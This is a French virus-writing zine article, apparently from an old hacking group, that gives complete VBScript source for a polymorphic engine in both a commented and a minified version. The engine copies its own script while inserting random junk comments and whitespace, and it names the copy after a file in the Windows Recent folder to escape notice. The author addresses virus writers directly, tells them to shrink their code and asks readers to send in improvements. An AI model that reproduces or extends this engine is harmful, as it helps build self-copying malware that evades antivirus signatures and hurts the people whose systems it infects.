///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
         			Polymorphisme Vbs : suite et fin
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Polymorphisme en VBScript (2ème partie)

	La dernière fois, nous avons vu un moteur de polymorphisme pour VBScript.
 Malheureusement, à chaque fois qu'il se dupliquait sa taille était multipliée. Dans cette améliorations, j'ai résolu le problème : 
A chaque fois qu'il lit une ligne dans le fichier, il vérifie si c'est une ligne de code (en regardant en faites si ce n'est pas une ligne d'arguments commençant par ' ou une ligne d'espaces ou ligne avec aucun caractère correspondant en fait à un [entrée]) avant de la recopier dans le fichier cible. Sinon il lit la prochaine ligne de code et vérifie. Il fait cela jusqu'à quand il trouve une ligne de code qui recopie dans le fichier cible .

Voici donc ce que j'ai rajouté à la fonction Code :
                       ----------------------
If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
    If Left(Test, 1) = "'" Then Call Code
    If Test = "" Then Call Code
    Pas_Espace = VerifEspaceFunc
    If Pas_Espace = False Then Call Code
'puis le code normal de la fonction Code : en gros si ça arrive à là, la variable Test 'est recopiée dans le fichier cible
                       ----------------------

En clair je fais un premier test pour savoir si c'est un argument. Si s'en est un alors il rappelle la procédure pour lire la prochaine ligne du fichier et refaire la série de test.
Deuxième test : Est-ce que c'est une ligne où il n'y a rien car c'est un [entrée]
Troisième test : Est-ce que c'est qu'une ligne qu'avec que des espaces grâce à la fonction VerifEspaceFunc.
A d'ailleurs elle est nouvelle et j'ai oublié de vous la montrer :
                       ----------------------
Function VerifEspaceFunc()
    Dim i
    For i = 1 To Len(Test)
    If Mid(Test, i, 1) <> Chr(32) Then Exit Function
    VerifEspaceFunc = False
    Next
End Function
                       ----------------------
La fonction VerifEspaceFunc parcourt la chaîne Test et s'il ne trouve pas des caractères différents d'[Espace] alors VerifEspaceFunc est égale à false. 


J'ai aussi rajouté , depuis la dernière fois, du code pour rendre le fichier dupliqué moins voyants à cause de son nom bizarre (par exemple : FHGYTRJHJIG). Donc j'ai fait en sorte que quand le fichier se crée il n'est pas un nom bizarre. En effet maintenant il tire au hasard un nom de fichier (sans son extension) se trouvant dans le dossier Recent du répertoire Windows (c'est à dire que c'est les noms de fichiers se trouvant dans Documents du menu Démarrer.
Voici le code :
                       ----------------------
Dim n, m, longueur, DossierR, fc, f1, s, Dossier
    Const Dossier_Windows = 0
    Set Dossier = fso.GetSpecialFolder(Dossier_Windows) 'Dossier = au dossier windows
    Dossier = Dossier + "\Recent" 
    Set DossierR = fso.GetFolder(Dossier)
    Set fc = DossierR.Files 'création d'une collection de tous les fichiers contenues                                                         'dans le dossier
    x = 0
    For Each f1 In fc ' boucle pour chaque fichier contenu dans le dossier
        x = x + 1
    Next
    'x est donc maintenant égale au nombre de fichier  contenu dans le dossier \Recent 
    'de windows
    If x <> 0 Then 
    'Donc le code d'après est exécuté si il y a des fichiers dans le dossier.
        x = Int(Rnd * x + 1)
        s = 0
        For Each f1 In fc 
        'boucle pour chaque fichier contenu dans le dossier \Recent de windows
            s = s + 1
            HOho = fso.GetBaseName(f1.Name)
            'HOho est = au nom (sans l'extension) d'un fichier
            'contenue dans le dossier \Recent de windows (j'en ai marre)
            If s = x Then Exit For
        Next
    End If
                       ---------------------


Bien sûr s'il ne trouve pas de fichier dans le dossier Recent de Windows, il crée comme avant un nom au hasard. Pour ne pas qu'il se fasse écraser par lui-même (en effet en lançant le VBScript, il se copie d'abord dans le fichier Recent de Windows(encore une fois)), il crée aussi un nom au hasard s'il se trouve dans le dossier Recent.
Voici donc la fonction : (Toute simple)
                       ----------------------
If Moi = HOho + ".vbs" Then x = 0
    If x = 0 Then
        longueur = Int(Rnd * 8) + 3
        For n = 1 To longueur
            m = Chr(Int(Rnd * 25) + 65) + m
        Next
        HOho = m
    End If
                       ----------------------


Voilà enfin le code :
--------------------------------------------------------------------------------------
Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Test 
' Déclare les variables
Const Lecture = 1, Ecriture = 2 
'declare des constantes pour que le code soit plus lisible
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Const vbBinaireComparaison = 0
    Randomize
    Set fso = CreateObject("Scripting.FileSystemObject")
    Moi = "essai.vbs" 
' Moi est le nom du fichier où vous mettez mon moteur de polymorphisme
Nom = HOho + ".vbs"  'appel la fonction HOho

    fso.CreateTextFile Nom
'créer un fichier
    Set ts = fso.OpenTextFile(Nom, Ecriture)'
'l'ouvre en écriture
    Set MyFile = fso.OpenTextFile(Moi, Lecture)
'ouvre ce fichier en mode lecture

'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle s'arrête 
'quand le programme est arrivé au bout du fichier de votre virus.
    Do
        Hasard = Int(Rnd * 4 + 1)
        If Hasard = 1 Then DebText = Enter
        If Hasard = 2 Then DebText = Code
        If Hasard = 3 Then DebText = Argument
        If Hasard = 4 Then DebText = SpaceFunc(10, 20)
    If Hasard = 5 Then DebText = vbCrLf

    ts.WriteLine DebText
    If MyFile.AtEndOfStream = True Then Exit Do
    Loop
    
    ts.Close
    MyFile.Close

Function Code()
    Dim Verif, Pas_Espace
    If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
    If Left(Test, 1) = "'" Then Call Code
    If Test = "" Then Call Code
    Pas_Espace = VerifEspaceFunc
    If Pas_Espace = False Then Call Code
    If Left(Test ,10) = "    Moi = " Then Test = "    Moi = " + """" + Nom + """": 
Code = Test
End Function

Function VerifEspaceFunc()
    Dim i
    For i = 1 To Len(Test)
    If Mid(Test, i, 1) <> Chr(32) Then VerifEspaceFunc = True : Exit For
    VerifEspaceFunc = False
    Next
End Function

'Cette permet de créer une chaîne de caractère ASCII compris entre 14 et  255 ( et 
'ouais car avant 13 les caractères comme [entrée], [tab]  font planter le script vbs 
'meme s'ils sont dans des arguments) de longueur comprise entre NbMin et NbMax.
Function Chaine_Aleatoire(NbMin, NbMax)
    Dim z, i
    Randomize
    z = Int(Rnd * (NbMax - NbMin) + NbMin)
    For i = 0 To z
        Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire
    Next
End Function

'Cette fonction permet de créer une chaîne de caractère contenant des espaces de
'nombre compris entre le nombre de la variable 
'MinSpace et celle de la variable MaxSpace.
Function SpaceFunc(MinSpace, MaxSpace)
    Dim b
    b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace)
    SpaceFunc = Space(b)
End Function

Function Argument()
    Dim Comment, Espace, NbAleatoire
    Argument = Chaine_Aleatoire(Int(Rnd * 10), Int(Rnd * 10) + 10)
    Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3)
    NbAleatoire = Int(Rnd * 2) + 1
    If NbAleatoire = 1 Then Comment = vbCrLf
    If NbAleatoire = 2 Then Comment = Espace
    If NbAleatoire = 3 Then Comment = ""
    Argument = "'" + Argument + Comment
End Function

'Cette fonction permet de créer une chaîne de caractère contenant 1 à 4 [entrée]
'en utilisant comme proprièté vbCrLf car  vbCrLf =[entrée]
Function Enter()
    Dim c, d
    d = Int(Rnd * 4) + 1
    For c = 0 To d
        Enter = Enter + vbCrLf
    Next
End Function

'Cette fonction permet générer un nom en le trouvant dans le dossier \Recent du 'dossier Windows qui est est en fait les noms que vous pouvez trouver quand vous 'faites Démarrer/Documents
Function HOho()
    Dim n, m, longueur, DossierR, fc, f1, s, Dossier
    Const Dossier_Windows = 0
    Set Dossier = fso.GetSpecialFolder(Dossier_Windows)
    Dossier = Dossier + "\Recent"
    Set DossierR = fso.GetFolder(Dossier)
    Set fc = DossierR.Files
    x = 0
    For Each f1 In fc
        x = x + 1
    Next
    
    If x <> 0 Then
        x = Int(Rnd * x + 1)
        s = 0
        For Each f1 In fc
            s = s + 1
            HOho = fso.GetBaseName(f1.Name)
            If s = x Then Exit For
        Next
    End If
    
'Cette procédure permet de créer une chaîne de caractère de longueur entre  3 et 11 et 
'avec comme caractère des majuscules car 'le code ASCII est compris entre 25 et 90 .
'si il n'a pas trouvé de fichiers dans le dossier ou s'il a trouvé son nom
    If Moi = HOho + ".vbs" Then x = 0
    If x = 0 Then
        longueur = Int(Rnd * 8) + 3
        For n = 1 To longueur
            m = Chr(Int(Rnd * 25) + 65) + m
        Next
        HOho = m
    End If
End Function
--------------------------------------------------------------------------------------

A oui !!! J'ai oublié de vous dire que quand vous faites  un virus en VBScript, n'oublier pas de le réduire au minimum.(supprimer les variables inutiles, les contantes, les lignes vides, les lignes d'arguments et les espaces inutiles, remplacer les noms des fonctions et celle des variables par des noms plus courts qui tiennent sur une ou deux lettres )C'est vrai qu'après le code n'est plus trop lisible. Je l'ai donc fait pour le code juste avant. Sa taille a été diminué de 3 passant de 4.35 Ko  à 1.37 Ko.
Voici donc le code réduit au minimum : (on peut encore le réduire en remplacant certains entrées(qui prennent 2 octets) par des : )qui prennent 1 octet) )

--------------------------------------------------------------------------------------
Dim F,R,G,O,T
Randomize
Set F=CreateObject("Scripting.FileSystemObject")
O="essai.vbs"
G=H+".vbs"
F.CreateTextFile G
Set ts=F.OpenTextFile(G,2)
Set R=F.OpenTextFile(O,1)
Do
x=Int(Rnd*4+1)
If x=1 Then z=E
If x=2 Then z=U
If x=3 Then z=L
If x=4 Then z=K(10,20)
If x=5 Then z=vbCrLf
ts.WriteLine z 
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close
R.Close
Function U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T
End Function
Function W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0
Next
End Function
Function J(n,m)
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J
Next
End Function
Function K(n,m)
K=Space(Int(Rnd*(m-n)+n))
End Function
Function L
L=J(Int(Rnd*10),Int(Rnd*10)+10)
n=Int(Rnd*3)+1
If n=1 Then y=vbCrLf
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3)
If n=3 Then y=""
L="'"+L+y
End Function
Function E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf
Next
End Function
Function H
Set c=F.GetSpecialFolder(0)
c=c+"\Recent"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function
--------------------------------------------------------------------------------------
Si vous trouvez un moyen de le réduire encore plus, écrivez-nous à RTCgang@yahoo.fr pour nous dire ce que vous avez trouver.
                                                               SLy